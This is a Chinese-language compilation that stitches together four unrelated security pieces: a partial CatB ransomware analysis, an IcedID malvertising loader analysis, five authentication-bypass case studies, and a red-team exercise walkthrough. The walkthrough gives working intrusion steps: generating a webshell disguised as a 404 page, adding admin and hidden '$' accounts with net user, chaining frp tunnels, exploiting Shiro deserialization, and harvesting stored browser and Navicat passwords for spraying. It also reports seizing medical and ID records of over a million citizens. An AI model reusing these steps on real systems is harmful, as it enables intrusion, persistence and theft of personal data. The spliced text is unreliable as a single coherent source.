figure-2-RAM-check.webp.jpg

物理內存檢查

硬盤大小:惡意軟件可以檢查設備的硬盤大小,並根據該參數繼續執行。這可以通過使用DeviceIoControl Api函數實現,其中“0x70000”作為dwIoControlCode參數傳遞。 CatB勒索軟件只能在至少有50GB硬盤的設備上執行。

figure-3-anti-vm-disk-size.webp.jpg

硬盤大小檢查

DLL劫持如果所有反VM檢查都通過,則dropper將繼續執行,並將勒索軟件負載(oci.dll)放入C:\Windows\System32文件夾。接下來,它將查找MSDTC服務(分佈式事務協調器Windows服務,負責協調數據庫(SQL Server)和web服務器之間的事務)並更改其配置。

figure-4-open-service.webp.jpg

MSDTC服務

更改的配置包括運行服務的帳戶名稱(從“網絡服務”更改為“本地系統”)和服務啟動選項(如果重新啟動,則從“按需啟動”更改為自動啟動以實現持續性)。

figure-5-services.webp.jpg

服務配置更改

運行服務的帳戶已更改為授予服務管理員權限,因為網絡服務帳戶使用用戶權限運行。更改啟動類型將授予勒索軟件在每次系統重新啟動時執行的能力。

dropper在更改其配置後啟動服務。此服務啟動時,默認情況下會嘗試從System32文件夾加載幾個DLL。這使它有機會將任意DLL(在本例中為oci.DLL)植入此文件夾中,以執行惡意代碼。

勒索軟件此時惡意oci.dll文件被加載到msdtc.exe進程中,然後加密進程啟動。 CatB枚舉並加密特定的硬編碼磁盤和文件夾:

6.1.png

6.2.webp.jpg

硬編碼磁盤

CatB避免使用帶有.msi、exe、dll、sys、iso擴展名和NTUSER.DAT的文件。 CatB勒索軟件的一個有趣之處是,勒索通知被添加到每個加密文件的開頭,而不是像大多數勒索軟件那樣作為一個單獨的文件添加到每個文件夾中。它也不改變文件擴展名。這可能會在一開始使用戶感到困惑,他們可能沒有註意到加密,並且文件將看起來已經被攻擊,因為二進制內容被破壞,他們無法打開它。勒索通知本身看起來與Pandora和Crypt贖金通知非常相似,其中一部分甚至是複制/粘貼的。

7.webp.jpg

加密文件

通知中沒有官方的贖金名稱,也沒有tor網站的URL。聯繫勒索軟件運營商的唯一方法是通過電子郵件。

目前像Minerva Armor這樣的勒索軟件保護平台會通過模擬勒索軟件積極試圖避免的環境數據,輕鬆防止CatB勒索軟件。例如,當勒索軟件查詢處理器的數量時,Minerva Armor會讓它相信自己所處的環境只有1個CPU,從而自動退步並終止運行。

8.webp.jpg

9.png

我們分析了IcedID殭屍網絡的最新變化,該活動濫用谷歌點擊付費(PPC)廣告,通過惡意廣告攻擊傳播IcedID。 IcedID 是最早在2017 年被披露的模塊化銀行木馬,也是近年來最流行的惡意軟件家族之一。 IcedID 主要針對金融行業發起攻擊,還會充當其他惡意軟件家族(如Vatet、Egregor、REvil)的Dropper。

在密切跟踪IcedID殭屍網絡的活動後,我們發現它的傳播方法發生了一些重大變化。自2022年12月以來,我們觀察到谷歌點擊付費(PPC)廣告被攻擊者濫用,通過惡意廣告攻擊傳播IcedID。趨勢科技已將檢測到的IcedID變體命名為TrojanSpy.Win64.ICEDID.SMYXCLGZ。

像谷歌廣告這樣的廣告平台,其目的是使企業能夠向目標受眾展示廣告,以提高流量和增加銷售。惡意軟件發布者濫用同樣的功能,使用一種被稱為惡意廣告的技術,其中選擇的關鍵字被劫持,顯示惡意廣告,誘使毫無戒心的搜索引擎用戶下載惡意軟件。

在我們的調查中,攻擊者使用惡意廣告通過合法組織和知名應用程序的克隆網頁傳播IcedID惡意軟件。最近,美國聯邦調查局(FBI)發布了一份關於網絡犯罪分子如何濫用搜索引擎廣告服務來偽裝成合法網站,並通過一些經濟誘惑將用戶引向惡意網站。

本文介紹了IcedID殭屍網絡的最新傳播方法和它使用的新加載程序的技術細節。

技術分析

有機搜索結果是由Google PageRank算法生成的,而谷歌廣告出現在有機搜索結果的上方、旁邊、下方或更突出的位置。當這些廣告被攻擊者通過惡意廣告劫持時,它們可以將用戶引導到惡意網站。

劫持搜索結果的關鍵詞

在調查中,我們發現IcedID傳播者劫持了這些品牌和應用程序用來顯示廣告的關鍵詞:

??.png

這些惡意網站看起來就像合法網站一樣。下圖顯示了一個看起來合法的惡意Slack網頁,被IcedID傳播者用來引誘受害者下載惡意軟件。

1.png

一個被IcedID傳播者使用的看似合法的惡意Slack網頁

感染鏈

整個感染流程包括傳播初始加載程序,進入設備並最終釋放有效負載。有效負載通常是後門。

2.png

IcedID殭屍網絡惡意軟件感染鏈

通過劫持搜索的廣告結果發起攻擊用戶會通過在Google上輸入搜索詞來搜索應用程序,在這個特定的示例中,用戶想要下載AnyDesk應用程序,並在Google搜索欄上輸入搜索詞“AnyDesk”。被劫持的AnyDesk應用程序的廣告會導致惡意網站顯示在有機搜索結果上方。

IcedID攻擊者濫用合法的Keitaro交通方向系統(TDS)來過濾研究員和沙盒流量,隨後受害者被重定向到惡意網站。

一旦用戶選擇了“下載”按鈕,它就會下載用戶系統中ZIP文件中的惡意Microsoft軟件安裝程序(MSI)或Windows安裝程序文件。

3.1.png

3.2.png

IcedID殭屍網絡惡意廣告感染鏈

新的IcedID殭屍網絡加載程序在這個攻擊活動中,加載程序通過MSI文件被釋放,這並不是IcedID的常規操作。

安裝程序會釋放幾個文件,並通過rundll32.exe調用“init”導出函數,然後執行惡意加載程序例程。

這個“加載程序”DLL具有以下特徵:

開發者使用了一個合法的DLL,並在最後一個序數處使用“init”導出函數名將一個合法函數替換為惡意加載程序函數;

IcedID加載程序中每個合法導出函數的第一個字符都替換為字母“h”;

對惡意函數的引用是一個經過修復的合法函數;

生成的惡意文件幾乎與合法版本完全相同。這對機器學習(ML)檢測解決方案來說是一個挑戰。

從表面上看,惡意的IcedID和合法的sqlite3.dll文件幾乎完全相同。下圖顯示了使用由安全研究員Karsten Hahn開發的PortEx Analyzer工具對這些文件進行的並排比較。該工具允許我們快速地可視化可移植可執行(PE)文件的結構。

4.png

惡意IcedID(左)和合法PE(右)文件的可視化表示(使用Karsten Hahn的PortEx Analyzer工具)

因此,我們假設這是針對兩種類型的惡意軟件檢測技術的攻擊:

機器學習檢測引擎;

白名單系統;

充當IcedID加載程序的篡改DLL文件我們已經觀察到,一些被修改為充當IcedID加載程序的文件是眾所周知且廣泛使用的庫。

已被修改為IcedID加載程序的文件如下所示:

5.png

在sqlite3.dll中,我們觀察到在序號270處的函數“sqlite3_win32_write_debug”已被IcedID加載程序中的惡意“init”函數替換。

上面列出的修改後的DLL文件就是這種情況,最後一個序號的導出函數被惡意的“init”函數替換。

6.png

IcedID修改(左)和正常(右)文件的比較,其中前者在最後一個序號的導出函數被惡意的“init”函數替換

進一步調查表明,該文件的結構是相同的。

7.png

IcedID修改文件和普通文件的比較,其中兩個文件顯示相同的結構

執行“MsiExec.exe”執行(父進程)(MITRE ID T1218.007 - System Binary Proxy Execution: msiexec);

生成“rundll32.exe” (MITRE ID T1218.011 - System Binary Proxy Execution: rundll32.exe);

“rundll32.exe”通過“zzzzInvokeManagedCustomActionOutOfProc”(MITRE ID T1218.011 - System Binary Proxy Execution: rundll32.exe)運行自定義操作“Z3z1Z”;

自定義操作生成第二個“rundll32.exe”以運行帶有“init”導出函數(MITRE IDs T1027.009 - Embedded Payloads and T1218.011 - System Binary Proxy Execution: rundll32.exe)的IcedID加載程序“MSI3480c3c1.msi”。

8.png

IcedID加載程序執行鏈

9.png

MSI自定義操作

10.png

包含自定義操作的MSI結構

總結IcedID是一個值得注意的惡意軟件家族,能夠傳播其他有效負載,包括Cobalt Strike和其他惡意軟件。 IcedID使攻擊者能夠執行具有高度影響力的後續攻擊,從而導致整個系統被破壞,例如竊取數據和使用勒索攻擊癱瘓整個系統。惡意廣告和規避加載程序的使用都在提醒我們部署分層安全解決方案的重要性,包括自定義沙箱、預測性機器學習、行為監控以及文件和網絡聲譽檢測功能。終端用戶還可以考慮使用廣告攔截器來阻止惡意攻擊。

身份驗證繞過漏洞是現代web應用程序中普遍存在的漏洞,也是隱藏最深很難被發現的漏洞。

為此安全防護人員不斷在開發新的認證方法,保障組織的網絡安全。儘管單點登錄(SSO)等工具通常是對舊的登錄用戶方式的改進,但這些技術仍然可能包含嚴重的漏洞。無論是業務邏輯錯誤還是其他軟件漏洞,都需要專業人員來分析其中的複雜性。

我們將在本文中介紹五種真實的身份驗證繞過技術。

技術1——刷新令牌終端配置錯誤在這種情況下,一旦用戶使用有效憑證登錄到應用程序,它就會創建一個在應用程序其他地方使用的承載身份驗證令牌。該認證令牌在一段時間後過期。就在過期之前,應用程序在終端/refresh/tokenlogin中向後端服務器發送了一個請求,該請求在標頭和HTTP主體部分的用戶名參數中包含有效的身份驗證令牌。

進一步的測試表明,刪除請求上的Authorization標頭並更改HTTP主體上的用戶名參數將為提供的用戶名創建一個新的有效令牌。利用此漏洞,擁有匿名配置文件的攻擊者可以通過提供用戶名為任何用戶生成身份驗證令牌。

1.png

技術2 ——SSO配置不正確大多數應用程序都使用SSO系統,因為與處理許多身份驗證門戶相比,SSO系統更容易安全管理。但是簡單地使用SSO並不能自動保護系統,因為SSO的配置也應得到保護。

現在,一個應用程序使用Microsoft SSO系統進行身份驗證。當訪問internal.redacted.com URL時,web瀏覽器會重定向到單點登錄系統:

2.png

乍一看,它似乎是安全的,但對後端請求的分析顯示,應用程序在重定向響應上返回了異常大的內容長度(超過40000字節)

3.png

為什麼應用程序要這樣做呢?當然是配置錯誤。在將用戶發送到SSO的重定向時,應用程序向每個請求洩露了其內部響應。因此,可以篡改響應,將302 Found頭更改為200 OK,並刪除整個Location標頭,從而獲得對整個應用程序的訪問。

4.png

此外,可以通過在Burp Suite中添加Match Replace規則來自動刪除標題並自動更改值,從而實現這個過程的自動化。

5.png

技術3——基於CMS的訪問漏洞內容管理系統(CMS),如WordPress、Drupal和Hubspot也需要進行安全配置,以免它們在使用中中引入漏洞。

在發現的一個示例中,在一個內部應用程序中使用了一個流行的CMS平台Liferay。該應用程序只有一個不需要身份驗證就可以訪問的登錄頁面,所有其他頁面都在應用程序UI中受到限制。

對於那些不熟悉Liferay的人來說,CMS為應用程序工作流使用了portlet,它的參數是數字中的p_p_id。對於該應用程序,可以通過將參數值更改為58來訪問登錄portlet。在正常的登錄頁面中,只有登錄表單是可訪問的。然而,通過直接訪問portlet,可以達到Create Account功能,然後在不需要適當的授權情況下就可以進行自註冊並訪問內部應用程序。

6.png

請注意,雖然Liferay以前使用過這個工作流,但它的最新版本使用了portlet名稱而不是數字ID。不過,也可以通過更改名稱來訪問其他portlet。

技術4 ——JWT令牌的使用JWT令牌或JSON web令牌,在新的web應用程序中很流行。但是,雖然它們默認具有安全機制,但後端服務器配置也應該是安全的。

我的一項任務是在他們的內部應用程序中使用SSO身份驗證。當直接訪問時,應用程序將用戶重定向到Microsoft SSO web頁面。到目前為止,一切順利。

然而,一些JS文件不需要身份驗證就可以訪問。測試顯示,該應用程序使用了安全登錄後通過Microsoft SSO系統發送的JWT令牌。在後端機制上,存在一個安全錯誤配置,即不檢查是否為特定的應用程序生成了JWT令牌。相反,它接受任何具有有效簽名的JWT令牌。因此,使用來自微軟網站的JWT令牌示例如下:

7.jpg

在通用值內:

8.jpg

有可能訪問內部終端,洩露公司數據。

9.png

技術5——將身份驗證類型更改為Null在此情況中,應用程序通過base64 編碼的XML 請求向HTTP 發布數據上發送所有請求。在登錄機制上,它將用戶名作為參數別名發送,將密碼作為scode發送。 scode 參數內的值已進行哈希處理。分析顯示,它使用了所提供密碼值的md5 值。請求中還有另一個有趣的標誌:scode 有一個屬性,其類型值為2。

10.png

我嘗試將該值賦值為1,它將接受明文密碼。成功了!因此,在明文值中使用暴力攻擊中是可能的。沒什麼大不了的,但這標誌著我走對了路。把它賦值給空值怎麼樣?或者其他值,如-1、0或9999999999?大多數都返回了除0之外的錯誤代碼。我用屬性0做了幾次嘗試,但沒有成功,直到我將密碼值作為空值發送出去。

11.png

我意識到只需提供用戶名和密碼即可訪問任何帳戶。事實證明,這是一個很大的錯誤。

總結複雜的身份驗證機制可能成為攻擊者使用的最具隱蔽性的攻擊手段,特別是在容易出現業務邏輯漏洞的應用程序上。因為自動掃描器大多無法進入這類漏洞,所以仍然需要手工來找到它們。鑑於現代軟件環境的複雜性,沒有任何一個安全研究人員能夠發現所有可能的漏洞或攻擊載體。

0x00前言

本来开学正忙于实现电竞梦(联盟高校联赛),某一天下午突然有位师傅联系我说可以免面试进组打省护红队,这么好的实战机会怎么能错过呢~(好好玩游戏,不要学我^^)

0x01 一个出局的企业单位内网之旅

打点一

故事的开始是某佬丢了一个系统nday shell给我

image.png

ipconfig发现有10段内网,这种网段内网一般都很大

image.png

但是这种nday已经被别人扫烂了 目录全是马

image.png

发现不对劲,这是什么?! 哪位不知名黑客昨天传的fscan

image.png

但是目标单位还没出局 先打再说
准备cs上线 但是发现不出网

image.png

先在哥斯拉传fcsan命令执行扫了一下b段

(应该先noping稍微扫一下c段再拿一台机器留后路在搞,这次做的有问题,不然流量检测设备检测到了,然后关站就直接寄了)
一堆弱口令redis

image.png

Neo-reGeorg使用

使用Neo-reGeorg正向隧道工具把流量代理出来:

Neo-reGeorg是常见的http正向隧道工具,是reGeorg的升级版,增加了内容加密、请求头定制、响应码定制等等一些特性

python3 neoreg.py generate -k xxx --file 404.html --httpcode 404

生成一个webshell密码为xxx

比较有意思的是,工具新增的404模版功能,实战copy目标站点的404html,给到工具之后生成的webshell直接访问是404,对文件隐藏有很好的帮助

图片.png

上传至目标站点

图片.png
python3 neoreg.py -k xxx -u http://xxxxx.com/404.php -p 端口

图片.png
本地Proxifier配置代理:SOCKS5://127.0.0.1:1081

图片.png
刚访问了一个web站点看看通不通 加载了一个title
都准备开始截图写报告了
结果又不动了 我以为是代理的问题

image.png

结果发现目标站关了。。。。
(感觉应该是昨天穿fscan的师傅打完内网交报告了然后企业直接关站了)
陷入困境 看着这么多的弱口令却触摸不到 太可惜了

打点二

去找该企业子域和其他资产再找突破口
找到了一个边缘资产的登录框
注册功能接口被换成了弹窗
图片.png
试了着跑了一下注册功能字典 无果
发现他们登录的url是sys_login.aspx
我们构造一个sys_register sys_reg sys_zc.aspx去试试
果不其然 可是。。。

图片.png
但是这次翻F12看js文件就不一样了

图片.png
构造请求成功注册了一个账号 并且发现了一个敏感参数

图片.png
role修改为1 成功注册一个管理员账户

.net的站管理员权限后台很容易找了个上传点配合图片免杀马就shell了

image.png

在爆破接口的时候,可以通过看目标站点的接口命名规则灵活变化精准爆破,注册用户在请求包或者返回包中可以多注意role,Permissions,power这种敏感的参数。

哥斯拉连接 发现这台机器居然是出网的!

image.png

内网一

上传我的免杀马子 用哥斯拉的提权插件美美system上线~
image.png

用frp内网穿透

image.png

美滋滋登弱口令截图写报告时,发现这台机器是10.8.xxxx 上台机器是10.9.xxxx 两个网段不通 做了隔离

这个时候我们的主要目标就是寻找双网卡主机

那就先上这台机器用fscan扫下吧

3389添加用户小技巧

因为是该机器是server2016 mimikatz抓不到明文密码,就只能添加用户 3389登录了

net user test 123456 /add  
#添加用户名为test密码为123456的用户
net localgroup administrators test /add #把test用户提升至管理组

这里有三个小技巧

  1. net不能用时 可以用net1代替效果一样
  2. /add也可以用/ad代替 执行效果一样
  3. 使用$添加隐藏用户:net user test$ 123456 /add

image.png

image.png

传fscan扫了一下 发现这个网段机器偏少 弱口令也没几个
现在的目标是找到双网卡主机!然后进入一堆弱口令的网段里,写报告写死我

先登了这个网段扫到的弱口令机器,发现都是设备

图片.png
只能继续找其他突破口了
在这台机器翻了一波 发现了一个显眼的sa.txt文件

image.png

果不其然,里面放了一些密码,fscan再密码喷洒一波

拿下双网卡主机

弱口令ssh ifconfig 芜湖~ 双网卡主机

image.png

frp多层网络代理

用frp搭个多层网络代理隧道
大概就是这样
hacker>vps(服务器端)>第一台内网机(客户端)(服务端)>双网卡内网机(客户端)

image.png

image.png
然后再用proxifier搭个代理链

image.png
我们就可以通10.9网段了,美滋滋的写报告的时候 被通知对方出局了~

image.png
把手里的报告交了,因为慢了昨天传fscan的师傅一步,所以也没得多少分。

0x02 某某医院的内网之旅

打点三

打点很简单 某某医院的小程序 点点点点

image.png

在burp插件里找到了惊喜

image.png

shiro反序列化 工具梭哈

hw面试常问的shiro反序列化的原理:

序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞

通俗的讲就是有了key就能构造恶意的payload服务器接受后会进行反序列化,从而达到了远程命令执行的效果。
image.png

又是一个内网~

100w加公民信息泄漏

在这台主机上找到了这种表格好几个

图片.png

image.png

加起来100w余公民的医疗数据身份证等敏感信息~

这台机器是2008 用mimikatz读密码 3389登录

image.png

内网二

frp穿透进入内网 然后就是翻垃圾桶 翻数据库收集密码~

收集密码的几种思路(尤其是个人使用的电脑,密码超多)
1.各种浏览器保存的密码,可以使用BrowserGhost.exe等工具
2.如果主机有navicat的话可以读取密码
3.翻回收站,桌面中的txt文档,还有一些配置文件。
image.png

后面就是fscan+超级弱口令密码碰洒 就完了
不得不说看着密码碰洒是真滴爽啊^^

image.png
因为fscan默认是不支持扫rdp弱口令的

一般是用fscan扫开放3389的机器,然后导出到超级弱口令等软件进行爆破,但是这样会由于fscan扫描不全漏掉一些机器,笔者建议最好上传nmap编译版或者一些专业扫描工具去探测。
最后也是拿下几十台主机权限,内网沦陷~(可惜没有双网卡)

image.png

内网渗透没有域的话,个人觉得就是慢慢磨,收集密码喷洒,再收集再喷 横向(免杀也很重要)~

0x03文末

感谢各位师傅们能看到这里,第一次正式作为红队打攻防演练,有某佬的带领下还是打的比较轻松的,也是拿到了优秀攻击队伍

 

转自于原文链接:https://forum.butian.net/share/2528